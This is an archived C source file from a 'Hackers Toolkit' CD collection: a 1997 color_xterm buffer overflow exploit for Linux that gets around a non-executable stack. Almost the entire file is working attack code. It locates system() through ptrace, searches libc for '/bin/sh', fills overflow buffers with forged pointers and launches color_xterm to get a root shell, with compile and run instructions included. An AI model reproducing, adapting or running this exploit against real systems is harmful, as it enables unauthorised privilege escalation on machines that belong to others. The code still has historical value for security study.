home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / cx.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  5KB  |  174 lines

  1. /*
  2.      * color_xterm   buffer    overflow   exploit   for   Linux   with
  3.      * non-executable stack
  4.      * Copyright (c) 1997 by Solar Designer
  5.      *
  6.      * Compile:
  7.      * gcc cx.c -o cx -L/usr/X11/lib \
  8.      * `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`
  9.      *
  10.      * Run:
  11.      * $ ./cx
  12.      * system() found at: 401553b0
  13.      * "/bin/sh" found at: 401bfa3d
  14.      * bash# exit
  15.      * Segmentation fault
  16.      */
  17.  
  18.     #include <stdio.h>
  19.     #include <unistd.h>
  20.     #include <string.h>
  21.     #include <stdlib.h>
  22.     #include <signal.h>
  23.     #include <setjmp.h>
  24.     #include <sys/ptrace.h>
  25.     #include <sys/types.h>
  26.     #include <sys/wait.h>
  27.  
  28.     #define SIZE1           1200    /* Amount of data to overflow with */
  29.     #define ALIGNMENT1      0       /* 0..3 */
  30.     #define OFFSET          22000   /* Structure array offset */
  31.     #define SIZE2           16000   /* Structure array size */
  32.     #define ALIGNMENT2      5       /* 0, 4, 1..3, 5..7 */
  33.     #define SIZE3           SIZE2
  34.     #define ALIGNMENT3      (ALIGNMENT2 & 3)
  35.  
  36.     #define ADDR_MASK       0xFF000000
  37.  
  38.     char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];
  39.     int *ptr;
  40.  
  41.     int pid, pc, shell, step;
  42.     int started = 0;
  43.     jmp_buf env;
  44.  
  45.     void handler() {
  46.       started++;
  47.     }
  48.  
  49.     /* SIGSEGV handler, to search in libc */
  50.     void fault() {
  51.       if (step < 0) {
  52.     /* Change the search direction */
  53.         longjmp(env, 1);
  54.       } else {
  55.     /* The search failed in both directions */
  56.         puts("\"/bin/sh\" not found, bad luck");
  57.         exit(1);
  58.       }
  59.     }
  60.  
  61.     void error(char *fn) {
  62.       perror(fn);
  63.       if (pid > 0) kill(pid, SIGKILL);
  64.       exit(1);
  65.     }
  66.  
  67.     int nz(int value) {
  68.       if (!(value & 0xFF)) value |= 8;
  69.       if (!(value & 0xFF00)) value |= 0x100;
  70.  
  71.       return value;
  72.     }
  73.  
  74.     void main() {
  75.     /*
  76.      * A portable way to get the stack pointer value; why do other exploits use
  77.      * an assembly instruction here?!
  78.      */
  79.       int sp = (int)&sp;
  80.  
  81.       signal(SIGUSR1, handler);
  82.  
  83.     /* Create a child process to trace */
  84.       if ((pid = fork()) < 0) error("fork");
  85.  
  86.       if (!pid) {
  87.     /* Send the parent a signal, so it starts tracing */
  88.         kill(getppid(), SIGUSR1);
  89.     /* A loop since the parent may not start tracing immediately */
  90.         while (1) system("");
  91.       }
  92.  
  93.     /* Wait until the child tells us the next library call will be system() */
  94.       while (!started);
  95.  
  96.       if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
  97.  
  98.     /* Single step the child until it gets out of system() */
  99.       do {
  100.         waitpid(pid, NULL, WUNTRACED);
  101.         pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  102.         if (pc == -1) error("PTRACE_PEEKUSR");
  103.         if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  104.       } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
  105.  
  106.     /* Single step the child until it calls system() again */
  107.       do {
  108.         waitpid(pid, NULL, WUNTRACED);
  109.         pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  110.         if (pc == -1) error("PTRACE_PEEKUSR");
  111.         if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  112.       } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
  113.  
  114.     /* Kill the child, we don't need it any more */
  115.       if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  116.       pid = 0;
  117.  
  118.       printf("system() found at: %08x\n", pc);
  119.  
  120.     /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  121.       if (!(pc & 0xFF))
  122.       if (*(unsigned char *)--pc != 0x90) pc = 0;
  123.  
  124.     /* There's no easy workaround for these (except for using another function) */
  125.       if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
  126.         puts("Zero bytes in address, bad luck");
  127.         exit(1);
  128.       }
  129.  
  130.     /*
  131.      * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
  132.      * in its address. To avoid specifying the actual address that libc is
  133.      * mmap()ed to we search from the address of system() in both directions
  134.      * until a SIGSEGV is generated.
  135.      */
  136.       if (setjmp(env)) step = 1; else step = -1;
  137.       shell = pc;
  138.       signal(SIGSEGV, fault);
  139.       do
  140.         while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  141.       while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  142.       signal(SIGSEGV, SIG_DFL);
  143.  
  144.       printf("\"/bin/sh\" found at: %08x\n", shell);
  145.  
  146.     /* buf1 (which we overflow with) is filled with pointers to buf2 */
  147.       memset(buf1, 'x', ALIGNMENT1);
  148.       ptr = (int *)(buf1 + ALIGNMENT1);
  149.       while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
  150.         *ptr++ = nz(sp - OFFSET);           /* db */
  151.       buf1[SIZE1 - 1] = 0;
  152.  
  153.     /* buf2 is filled with pointers to "/bin/sh" and to buf3 */
  154.       memset(buf2, 'x', SIZE2 + SIZE3);
  155.       ptr = (int *)(buf2 + ALIGNMENT2);
  156.       while ((char *)ptr < buf2 + SIZE2) {
  157.         *ptr++ = shell;                     /* db->mbstate */
  158.         *ptr++ = nz(sp - OFFSET + SIZE2);   /* db->methods */
  159.       }
  160.  
  161.     /* buf3 is filled with pointers to system() */
  162.       ptr = (int *)(buf3 + ALIGNMENT3);
  163.       while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
  164.         *ptr++ = pc;                        /* db->methods->mbfinish */
  165.       buf3[SIZE3 - 1] = 0;
  166.  
  167.     /* Put buf2 and buf3 on the stack */
  168.       setenv("BUFFER", buf2, 1);
  169.  
  170.     /* GetDatabase() in libX11 will do (*db->methods->mbfinish)(db->mbstate) */
  171.       execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL);
  172.       error("execl");
  173.     }
  174.